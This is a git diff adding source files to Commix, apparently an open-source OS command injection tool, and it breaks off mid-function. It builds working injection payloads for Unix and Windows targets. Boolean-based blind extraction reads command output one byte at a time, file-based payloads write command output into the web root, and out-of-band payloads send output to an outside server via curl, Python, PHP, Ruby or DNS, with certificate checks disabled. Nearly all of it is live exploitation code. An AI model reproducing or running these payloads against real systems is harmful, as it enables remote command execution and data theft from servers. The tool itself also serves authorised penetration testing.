response.info() + except Exception: + return None, vuln_parameter + return checks.boolean_oracle(page, code, headers=answered_headers), vuln_parameter + +""" +The page a question came back with, for learning what a yes and a no look like on this target. + +The payload comes back as it was actually sent, which is not always as it was passed in: the +parameter's own value is folded into it on the way out, and a finding reported without that fold +reads as a payload that replaces the value instead of following it. +""" +def page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + response, vuln_parameter, sent_payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if response is False or response is None: + return None, None, vuln_parameter, prefix, suffix, sent_payload + try: + # The payload's own text is taken back out of the answer: a page that echoes what it was given + # differs between two questions because of the questions, not because of what ran. + page = checks.remove_reflected_values(checks.decode_page_body(response.read(), response), payload) + return page, response.getcode(), vuln_parameter, prefix, suffix, sent_payload + except Exception: + return None, None, vuln_parameter, prefix, suffix, sent_payload + +""" +Run a command and hand back what it printed, read a byte at a time off the page. + +The same shape the out-of-band injector answers to, so that everything built on top - the enumeration +checks, the file access, '--os-cmd' and the shell - reaches this technique the way it reaches that one. +""" +def injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + from src.core.techniques.boolean_based import bb_handler as handler + channel = handler.Channel(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + return handler.retrieve(channel, cmd) + +# eof diff --git a/src/core/techniques/boolean_based/bb_payloads.py b/src/core/techniques/boolean_based/bb_payloads.py new file mode 100644 index 0000000000..03e57df9e9 --- /dev/null +++ b/src/core/techniques/boolean_based/bb_payloads.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks +from src.core.techniques.time_based import tb_payloads + +""" +A test chained onto what the parameter already runs, whose exit status is the whole of the answer. + +Nothing is printed and nothing is waited for: the target branches on the status the command left +behind, and the page it renders is read as the yes or the no. +""" +def _test(expression): + return "[ " + expression + " ]" + +""" +The separators a question can be asked with using nothing but themselves. + +'&' backgrounds what it chains, so a variable set before the test is gone by the time it runs, and +'||' would need a bare pipe to index the output - a second separator either way. Rather than reach +for one, neither is asked at all: a boundary is only worth reporting if the target was shown to +accept the separator the payload is actually made of. + +A pipe is among them, and carries an answer either way one can be read. Off the exit status, by +being left unterminated: a pipeline ending in a test is already a whole command, and the no-operation +that would otherwise close it answers 0 whatever the test said. Printed, by printing the marker +through the pipe itself and taking it from the byte the comparison picks - which needs no 'if', and +so no ';' to put before its 'then'. +""" +SUPPORTED_SEPARATORS = (";", "\n", "\r\n", "&&", "|") + +# The same comparison, written the way arithmetic spells it - what a pipe needs, having +# no 'if' to put a test inside of. +_ARITHMETIC = {"-eq": "==", "-le": "<=", "-ge": ">=", "-gt": ">", "-lt": "<", "-ne": "!="} + +def _supported(separator): + if settings.TARGET_OS == settings.OS.WINDOWS: + return checks.windows_separator(separator) is not None + return separator in SUPPORTED_SEPARATORS + +""" +The test, written so that the page can carry its answer - with the separator under test and nothing +else. + +Where the target branches on the exit status the command left behind, the status is the whole of the +answer and the test is left bare. Where it does not - a page that prints what the command said, +whatever it said - the same test is made to print an unguessable marker, and the page then carries +that marker or it does not. Which of the two is in use is settled per target, by trying the first. +""" +def _decide(separator, expression, arithmetic=None): + if not settings.BOOLEAN_PRINTED_STATE: + return _test(expression) + printing = checks.print_marker(settings.BOOLEAN_MARKER) + # What follows '&&' runs only where what precedes it succeeded, which is the whole conditional. + if separator == "&&": + return _test(expression) + separator + printing + if separator in (";", settings.END_LINE.LF, settings.END_LINE.CRLF): + return "if " + _test(expression) + separator + "then " + printing + separator + "fi" + if separator == settings.PIPE_SEPARATOR and arithmetic: + return _printed_through_pipe(arithmetic) + return "" + +""" +The marker printed down the pipe the payload is already proving, or nothing printed at all. + +Nothing is chained to say which: the marker is written out whole and then taken from the byte the +comparison itself picks - its first where the answer is yes, and one past its last where the answer +is no, which leaves nothing to take. 'head -c 0' would say the same thing and is not portable: it +is a count some builds refuse outright. +""" +def _printed_through_pipe(arithmetic): + marker = settings.BOOLEAN_MARKER + return (checks.print_value(marker) + settings.PIPE_SEPARATOR + "tail -c +$(( (" + arithmetic + + ") ? 1 : " + str(len(marker) + 1) + " ))") + +""" +The output measured and indexed down the pipe itself, where no variable survives to hold it. + +A pipe runs each side in a shell of its own, so a variable set on the left is gone by the time the +right reads it - what the other separators keep in one is read here as it is needed. The byte is +counted rather than read as a character, so a build whose 'printf' signs it answers the same. +""" +def _piped_length(word): + return "$(" + checks.print_value("\"" + word + "\"") + settings.PIPE_SEPARATOR + "wc -c)" + +# The reading the time-based technique already takes, asked for there rather than written out +# again here: the two spellings of it drifted apart once, one of them keeping a 'printf' the run +# had stopped using. +def _piped_ordinal(word, num_of_chars): + return tb_payloads._ordinal_expr(word, num_of_chars) + +""" +The command's output held in a variable, and cut down to the byte being asked about. + +Written with the separator under test and nothing else. A pipe here would ask the target for a +character it was never shown to accept, and a boundary reported as one separator would in truth +have needed two. +""" +def _var_chain(separator, word, qmarks): + """ + Assigned without quotes of its own, and stripped with them. + + An assignment is not field-split, so quoting what it is given changes nothing about the value it + holds - spaces, runs of spaces, a '*' and a newline all survive either way - and a '"' a filter + strips is one the payload need not have carried. The pattern below is the exception: unquoted, + the tail it takes off is read as a pattern rather than as the text it is, and a value carrying a + '*' loses more than the one character this is meant to leave behind. + """ + var = settings.RANDOM_VAR_GENERATOR + return (var + "=" + word + separator + + var + "=\"${" + var + "#" + qmarks + "}\"" + separator + + var + "=\"${" + var + "%\"${" + var + "#?}\"}\"" + separator) + +""" +A question whose answer is known, for telling a target that answers at all from one that does not. +""" +def condition_check(separator, holds=True): + if not _supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + return checks.windows_boolean_probe(chain, "echo 1", "EQU", "1" if holds else "2") + known = "1" if holds else "2" + payload = separator + _decide(separator, "1 -eq " + known, arithmetic="1==" + known) + return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) + +""" +The decision payload, which asks the target to print something unguessable and measure it. + +A question with a constant answer would be answered by any page that happens to differ between two +requests. This one cannot be: the tag is made fresh for the run, and only a target that actually ran +the command knows how long what it printed is. +""" +def decision(separator, TAG, output_length, holds=True): + if not _supported(separator): + return "" + expected = str(output_length if holds else output_length + 1) + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + # The target has to print the tag and measure it, so a page that repeats what it was given + # cannot answer for one that ran the command. + return checks.windows_boolean_probe(chain, + "powershell.exe -InputFormat none write " + + checks.windows_output_bytes(checks.windows_output_text("echo " + TAG)) + ".length", + "EQU", expected) + word = tb_payloads._output_word(checks.print_marker(TAG)) + var = settings.RANDOM_VAR_GENERATOR + if separator == settings.PIPE_SEPARATOR: + measured = _piped_length(word) + payload = separator + _decide(separator, measured + settings.SINGLE_WHITESPACE + "-eq" + + settings.SINGLE_WHITESPACE + expected, + arithmetic=measured + "==" + expected) + else: + payload = (separator + var + "=" + word + separator + + _decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + "-eq" + settings.SINGLE_WHITESPACE + expected)) + return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) + +""" +How many bytes the command's output is, asked as a comparison so that it can be bisected. + +Built with the separator under test and nothing else. Where that separator cannot carry the answer +on its own, nothing is sent at all - a payload that reached for a second separator would report a +boundary the target was never shown to accept. +""" +def get_length(separator, cmd, candidate_length, operator="-eq"): + word = tb_payloads._output_word(cmd) + var = settings.RANDOM_VAR_GENERATOR + compare = _decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + str(candidate_length)) + + if not _supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + return checks.windows_boolean_probe(chain, + "powershell.exe -InputFormat none write " + + checks.windows_output_bytes(checks.windows_output_text(cmd)) + ".length", + {"-eq": "EQU", "-ge": "GEQ", "-le": "LEQ"}.get(operator, "EQU"), candidate_length) + if separator == settings.PIPE_SEPARATOR: + measured = _piped_length(word) + payload = separator + _decide(separator, measured + settings.SINGLE_WHITESPACE + operator + + settings.SINGLE_WHITESPACE + str(candidate_length), + arithmetic=measured + _ARITHMETIC[operator] + str(candidate_length)) + else: + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + payload = separator + settings.BYTE_LOCALE_EXPORTED + separator + var + "=" + word + separator + compare + return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) + +""" +Whether the ordinal of the output's Nth byte is at or above this one, which is what bisects it. +""" +def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): + word = tb_payloads._output_word(cmd) + qmarks = "?" * (num_of_chars - 1) + var = settings.RANDOM_VAR_GENERATOR + var_ordinal = checks.byte_ordinal("${" + var + "}") + compare = lambda expression, op: _decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + op + settings.SINGLE_WHITESPACE + expression) + + if not _supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + # The ordinal is worked out on the target: cmd.exe compares strings by locale collation, so only + # a number can be binary searched. + return checks.windows_boolean_probe(chain, + "powershell.exe -InputFormat none write ([int](" + + checks.windows_output_bytes(checks.windows_output_text(cmd)) + + "[" + str(num_of_chars - 1) + "]))", + "GEQ" if operator == "-le" else "EQU", ascii_char) + if separator == settings.PIPE_SEPARATOR: + piped = _piped_ordinal(word, num_of_chars) + payload = separator + _decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + operator + + settings.SINGLE_WHITESPACE + piped, + arithmetic=str(ascii_char) + _ARITHMETIC[operator] + piped) + else: + # Sliced in bytes, as the length beside it counts - exported, since a rewrite can move the counting into a command of its own. + payload = separator + settings.BYTE_LOCALE_EXPORTED + separator + _var_chain(separator, word, qmarks) + compare(var_ordinal, operator) + return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) + +# eof diff --git a/src/core/techniques/file_based/__init__.py b/src/core/techniques/file_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/file_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/techniques/file_based/fb_handler.py b/src/core/techniques/file_based/fb_handler.py new file mode 100755 index 0000000000..85b2578419 --- /dev/null +++ b/src/core/techniques/file_based/fb_handler.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import handler + +""" +The "file-based" technique on blind OS command injection. +""" + +""" +The "file-based" injection technique handler +""" +def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): + return handler.do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): + return fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + +# eof diff --git a/src/core/techniques/file_based/fb_injector.py b/src/core/techniques/file_based/fb_injector.py new file mode 100755 index 0000000000..6dbad17178 --- /dev/null +++ b/src/core/techniques/file_based/fb_injector.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import injector + +""" +The "file-based" technique on blind OS command injection. +""" + +""" +The main command injection exploitation. +""" +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique): + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + +""" +Find the URL directory. +""" +def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + return injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + +""" +The response holding the written file, from whichever URL it turns out to be reachable at. +""" +def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique): + return injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) + +""" +What the output file holds before any command has been run through it. +""" +def remember_output_file(response): + return injector.remember_output_file(response) + +""" +""" +def select_output_filename(technique, tmp_path, TAG, prompt=True): + return injector.select_output_filename(technique, tmp_path, TAG, prompt=prompt) + +""" +Command execution results. +""" +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + +# eof diff --git a/src/core/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py new file mode 100755 index 0000000000..45ca4b6634 --- /dev/null +++ b/src/core/techniques/file_based/fb_payloads.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +The "file-based" technique on blind OS command injection. +The available "file-based" payloads. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +The output file, under the server's root directory, with its separators doubled so that a Windows +path survives being read as a Python string literal. +""" +def windows_output_path(OUTPUT_TEXTFILE): + return (settings.WEB_ROOT + OUTPUT_TEXTFILE).replace("\\", "\\\\") + +""" +File-based decision payload (check if host is vulnerable). +""" +def decision(separator, TAG, OUTPUT_TEXTFILE): + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + # The marker is read back from the file over HTTP, so writing it is all the payload has to do. + payload = (chain + + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + checks.windows_tail(chain) + ) + else: + payload = (separator + + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + ) + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +Combined multi-tag decision payload for false-positive verification (Unix only). + +Written out by one command rather than one per marker. Several of them would be chained on the +separator that proved the injection, and two of those do not run what they join in turn: "&" puts +what precedes it in the background and "|" starts both sides at once, which leaves the write that +truncates the file racing the one that appends to it. The read that follows asks for the markers in +the order they went in, so a race there is read as a target answering every payload the same way - +a real finding thrown out as a false positive. One write cannot come out in the wrong order, and +the markers run together are still read apart, each being looked for in its turn. +""" +def decision_combined(separator, tags, OUTPUT_TEXTFILE): + payload = (separator + checks.print_marker("".join(tags)) + + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE) + payload = checks.terminate_payload(payload, separator) + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE): + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + payload = (chain + + settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + windows_output_path(OUTPUT_TEXTFILE) + "','w').write('" + TAG + "')\"" + + checks.windows_tail(chain) + ) + else: + payload = (separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + ) + + payload = checks.terminate_payload(payload, separator) + + payload = checks.fix_newlines_for_headers(payload, separator) + + return payload + +""" +Combined multi-tag decision_alter_interpreter payload for false-positive verification (Unix only). +""" +def decision_combined_alter_interpreter(separator, tags, OUTPUT_TEXTFILE): + writes = "".join("f.write('" + tag + "')\n" for tag in tags) + payload = (separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\n" + writes + "f.close()\n\"" + settings.CMD_SUB_SUFFIX + ) + + payload = checks.terminate_payload(payload, separator) + + payload = checks.fix_newlines_for_headers(payload, separator) + + return payload + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): + if settings.TFB_DECIMAL is True: + payload = (separator + cmd) + + elif settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + # The output is read back from the file, so it is redirected there rather than printed. + payload = (chain + + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + + checks.windows_tail(chain) + ) + else: + settings.USER_APPLIED_CMD = cmd + payload = (separator + + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + ) + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + if settings.REVERSE_TCP: + payload = (chain + cmd + settings.SINGLE_WHITESPACE + ) + else: + payload = (chain + + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + windows_output_path(OUTPUT_TEXTFILE) + "')\"" + + checks.windows_tail(chain) + ) + else: + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + # Handed to the interpreter as an argument rather than written into the program it is given to + # run. Written in, the output sat inside a quoted string there, so a quote of its own closed + # that string early and the interpreter wrote nothing to the file at all - the same shape the + # tempfile-based technique already uses to write this file, bytes and all. + payload = (separator + + settings.LINUX_PYTHON_INTERPRETER + " -c \"import os,sys\nopen('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + + "','wb').write(os.fsencode(sys.argv[1]))\n\" \"" + cmd_exec + "\"" + ) + + payload = checks.terminate_payload(payload, separator) + + payload = checks.fix_newlines_for_headers(payload, separator) + + return payload + +# eof diff --git a/src/core/techniques/oob/__init__.py b/src/core/techniques/oob/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/oob/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/techniques/oob/oob_handler.py b/src/core/techniques/oob/oob_handler.py new file mode 100644 index 0000000000..41b972f526 --- /dev/null +++ b/src/core/techniques/oob/oob_handler.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import handler + +""" +The out-of-band technique on OS command injection. +""" + +""" +The out-of-band injection technique handler. +""" +def oob_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): + return handler.do_oob_process(url, timesec, filename, http_request_method, injection_type, technique) + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, http_request_method, injection_type, technique): + return oob_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) + +# eof diff --git a/src/core/techniques/oob/oob_injector.py b/src/core/techniques/oob/oob_injector.py new file mode 100644 index 0000000000..f56e96e4df --- /dev/null +++ b/src/core/techniques/oob/oob_injector.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import time + +from src.utils import settings +from src.core.controller import handler +from src.core.controller import checks +from src.core.techniques.oob import oob_payloads as payloads + +""" +The out-of-band technique on OS command injection. +""" + +""" +Run a command on the target and read its output back off the out-of-band channel. +""" +def injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, transport=None): + channel = settings.OOB_CHANNEL + transport = transport or settings.OOB_TRANSPORT + if channel is None or not payloads.supports_exfiltration(transport): + return "" + + # A name lookup gets a second go: the output rides in the query name, and a resolver that + # normalises the name away before forwarding it leaves the interaction without the data. + attempts = settings.OOB_DNS_ATTEMPTS if transport == "dns" else 1 + for attempt in range(attempts): + token, hostname = channel.new_payload() + if settings.OOB_EVAL: + payload = payloads.exfiltrate_eval(separator, transport, hostname, cmd) + else: + payload = payloads.exfiltrate(separator, transport, hostname, cmd) + try: + handler.oob_inject(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + except Exception: + return "" + + if transport == "dns": + output = _dns_output(channel, token) + if output or attempt + 1 == attempts: + return output + continue + + for interaction in channel.wait_for(token, settings.OOB_TIMEOUT, protocol="http"): + body = checks.oob_request_body(interaction.raw_request) + if body: + return body.rstrip("\r\n") + return "" + return "" + +""" +Collect the numbered chunks a 'dns' payload asked to be resolved, waiting for the last of them +rather than answering on the first - each carries only a part of the output. +""" +def _dns_output(channel, token): + chunks = {} + total = None + # A lookup travels through the target's own resolver before it reaches the server, so the + # chunks arrive later than a probe's single interaction does - and every one of them is needed. + deadline = time.time() + settings.OOB_TIMEOUT * 2 + """ + Only a chain that a statement separator lets carry a loop can count its own chunks and say so in + every label. The chain built for the other separators numbers them without a total, so quiet time + stands in for one: once a poll brings nothing new, what arrived is what there is. Waiting on a + total that is never coming spent the whole timeout on every retrieval, however early it finished. + """ + quiet_polls = 0 + channel.poll_now() + while True: + seen_before = len(chunks) + for interaction in channel.seen(token, protocol="dns"): + labels = channel.data_of(interaction) + if len(labels) < 2: + continue + index, _, count = labels[0].partition("-") + if not index.isdigit(): + continue + if count.isdigit(): + total = int(count) + chunks[int(index)] = "".join(labels[1:]) + if total is not None and len(chunks) >= total: + break + if total is None and chunks: + quiet_polls = quiet_polls + 1 if len(chunks) == seen_before else 0 + if quiet_polls >= 2: + break + if time.time() >= deadline: + if total is not None and len(chunks) < total: + settings.INCOMPLETE_OUTPUT = True + break + channel.poll_now() + time.sleep(2) + # Numbered from one and unbroken, or some of what was sent never arrived. This is the only thing + # that can say so where no total came with the labels. + if chunks and sorted(chunks) != list(range(1, len(chunks) + 1)): + settings.INCOMPLETE_OUTPUT = True + # The command's trailing newline came through the labels, dropped here as the HTTP branch does. + return payloads.decode_dns_output(chunks).rstrip("\r\n") + +""" +Report whether the channel can carry command output back. +""" +def can_execute(): + return settings.OOB_CHANNEL is not None and payloads.supports_exfiltration(settings.OOB_TRANSPORT) + +# eof diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py new file mode 100644 index 0000000000..42881de4e7 --- /dev/null +++ b/src/core/techniques/oob/oob_payloads.py @@ -0,0 +1,552 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +import string +import binascii + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks + +""" +The out-of-band technique on OS command injection. +The available out-of-band payloads. +""" + +PIPE = "|" +# 'Or else', for a chain of lookup commands where only some of them exist on the target. +OR = PIPE + PIPE +# A bare '+' would be read as a space where the payload is URL-decoded. +PLUS = "+" + +""" +The HTTP clients used to reach the out-of-band server, most common first. +""" +UNIX_TRANSPORTS = ["curl", "wget", "python", "dns", "php", "ruby", "openssl"] +# Clients worth asking for, but not on every boundary of the sweep: each one there costs a request +# per boundary, and a target either has a client or it does not - which is not a thing a boundary +# changes. They are asked once a boundary is confirmed, where a target without the common ones still +# needs something that carries output back whole rather than a name at a time. +FALLBACK_TRANSPORTS = ("php", "ruby", "openssl") +""" +Whether answering over this client says which operating system answered. + +A client both lists carry - 'curl' is on either platform, and a DNS lookup is asked for everywhere - +proves the command ran and nothing more. Read as an answer to "which one", the probe that happened to +be asked first settles it, and a POSIX target taken for a Windows one is then sent cmd.exe payloads +for the rest of the run with its own tamper scripts skipped for needing a POSIX shell. +""" +def transport_identifies_os(transport): + return transport not in set(UNIX_TRANSPORTS) & set(WINDOWS_TRANSPORTS) + +# 's_client' opens a TLS connection and has no plaintext mode, so this one has nothing to offer a +# server reached over plain HTTP - it would hand a TLS handshake to a port that speaks none, and +# fail every time. Left out wherever the scheme in use is not HTTPS. +TLS_ONLY_TRANSPORTS = ("openssl",) +# 'curl.exe' leads on Windows, where it has shipped in System32 since Windows 10 1803: unlike a +# name lookup it carries command output back, and it is quick to give up where a host has no way +# out. A lookup follows, present on every Windows and the one confirmed against a real target. +# 'certutil' is deliberately absent - it blocks for over a minute per request, and a sweep of +# those would tie up the target's worker pool. +WINDOWS_TRANSPORTS = ["curl", "dns", "powershell"] +# Clients that hold the request open for a long time on a host with no way out, so they are worth a +# probe only where the sweep has nothing else left to try - never for a yes/no a lookup has answered. +SLOW_TRANSPORTS = ("powershell",) + +""" +Report whether a transport can be used at all over the scheme the server is reached on. +""" +def scheme_allows(transport): + if transport in TLS_ONLY_TRANSPORTS: + return (settings.OOB_SCHEME or "https") == "https" + return True + +""" +The URL a payload sends the target to, over the same scheme the out-of-band server is reached on. +""" +def _url(hostname, proof=""): + scheme = settings.OOB_SCHEME or "https" + port = "" + # Named only when it is not the scheme's own, so a public server's URL stays as short as it was. + if settings.OOB_PORT and settings.OOB_PORT != (443 if scheme == "https" else 80): + port = ":" + str(settings.OOB_PORT) + return scheme + "://" + hostname + port + "/" + proof + +""" +Build the Python program a payload runs, reading its body from stdin when a command is being sent. + +Python verifies certificates against a CA store the target often does not have, and a failure there +costs the whole transport, so verification is turned off - the output is still encrypted. Setting the +module default rather than passing a context keeps this working on Python older than 3.4.3, where +'urlopen' takes no context and does not verify in the first place. +""" +def _python_prog(hostname, from_stdin=False, proof=""): + imports = "import ssl,sys,urllib.request;" if from_stdin else "import ssl,urllib.request;" + relax = "" + if (settings.OOB_SCHEME or "https") == "https": + relax = "setattr(ssl,'_create_default_https_context',getattr(ssl,'_create_unverified_context',None));" + body = ",data=sys.stdin.buffer.read()" if from_stdin else "" + # The program is inside double quotes, so the shell still does the sum before Python sees the URL. + return (settings.LINUX_PYTHON_INTERPRETER + " -c \"" + imports + relax + + "urllib.request.urlopen('" + _url(hostname, proof) + "'" + body + ")\"") + +""" +Build the PHP program a payload runs, reading its body from stdin when a command is being sent. + +A target reached over HTTPS is usually one whose PHP has no CA store to check it against, and a +failure there costs the whole transport, so verification is turned off - the body is still +encrypted. Written with 'array()' rather than the short form, which PHP older than 5.4 cannot read. +""" +def _php_prog(hostname, from_stdin=False, proof=""): + options = [] + if from_stdin: + options.append("'http'=>array('method'=>'POST','content'=>file_get_contents('php://stdin'))") + if (settings.OOB_SCHEME or "https") == "https": + options.append("'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false)") + context = "" + if options: + context = ",false,stream_context_create(array(" + ",".join(options) + "))" + # The program is inside double quotes, so the shell still does the sum before PHP sees the URL. + return "php -r \"file_get_contents('" + _url(hostname, proof) + "'" + context + ");\"" + +""" +Build the Ruby program a payload runs, reading its body from stdin when a command is being sent. + +'net/http' speaks TLS itself, so this reaches an HTTPS server without a client in front of it. The +certificate is not checked, for the same reason it is not checked anywhere else here: the target +rarely has a store to check it against, and failing on that would cost the whole transport. +""" +def _ruby_prog(hostname, from_stdin=False, proof=""): + url = _url(hostname, proof) + verb = "post(u.request_uri,STDIN.read)" if from_stdin else "get(u.request_uri)" + # The program is inside double quotes, so the shell still does the sum before Ruby sees the URL. + return ("ruby -rnet/http -ropenssl -e \"u=URI('" + url + "');h=Net::HTTP.new(u.host,u.port);" + 